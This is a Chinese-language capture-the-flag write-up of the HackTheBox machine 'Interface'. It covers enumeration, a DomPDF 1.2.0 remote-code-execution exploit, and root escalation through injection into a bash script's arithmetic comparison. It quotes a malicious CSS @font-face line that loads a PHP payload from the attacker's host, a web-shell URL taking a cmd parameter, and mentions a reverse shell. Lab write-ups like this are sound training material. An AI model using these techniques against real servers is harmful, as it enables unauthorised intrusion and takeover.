HackTheBox - Medium - Linux - Interface

Interface

Interface 是一种中等难度的 Linux 机器,具有“DomPDF”API 端点,该端点通过将“CSS”注入处理后的数据而容易受到远程命令执行的影响。“DomPDF”可以被诱骗在其字体缓存中存储带有“PHP”文件扩展名的恶意字体,然后可以通过从其公开的目录访问它来执行它。权限提升涉及在 bash 脚本中滥用带引号的表达式注入。


外部信息收集

端口扫描

循例nmap

file

Web枚举

file

在响应头中,能看到它的域名

file

ffuf

file

/api端点

file

这里html转成了pdf

file

Foothold

在pdf中纰漏了dompdf 1.2.0

file

在谷歌中能够找到该版本存在问题,并且github上还有exp

https://github.com/positive-security/dompdf-rce

从exp的exploit.css也就不难看出大概是怎么回事了

@font-face {
    font-family:'exploitfont';
    src:url('http://10.10.14.18:9001/exploit_font.php');
    font-weight:'normal';
    font-style:'normal';
  }

file

改一下exploit_font.php

file

打exp,目标将会缓存我们的字体文件

file

获取字符串md5,用于缓存文件名的组成

file

9001还是用python3开http server才能正常

file

访问文件

http://prd.m.rendering-api.interface.htb/vendor/dompdf/dompdf/lib/fonts/exploitfont_normal_b82f3437a14b588f9bc8cdb2cd1baaf2.php?cmd=id

file

常规python3 reverse shell

file

本地权限提升

传个pspy过去发现有shell脚本在跑

file

#! /bin/bash
cache_directory="/tmp"
for cfile in "$cache_directory"/*; do

    if [[ -f "$cfile" ]]; then

        meta_producer=$(/usr/bin/exiftool -s -s -s -Producer "$cfile" 2>/dev/null | cut -d " " -f1)

        if [[ "$meta_producer" -eq "dompdf" ]]; then
            echo "Removing $cfile"
            rm "$cfile"
        fi

    fi

done

使用exiftool读取Producer信息,然后判断它是否等于dompdf

这篇文章告诉我们这个shell代码可能会导致插入恶意shell命令并且被执行

if [[ "$meta_producer" -eq "dompdf" ]];

首先写一个shellcode或者其他的命令文件

file

通过exiftool插入payload,然后将文件移动到/tmp

file

等待计划任务执行,我们将能得到它

file

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Sugobet

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值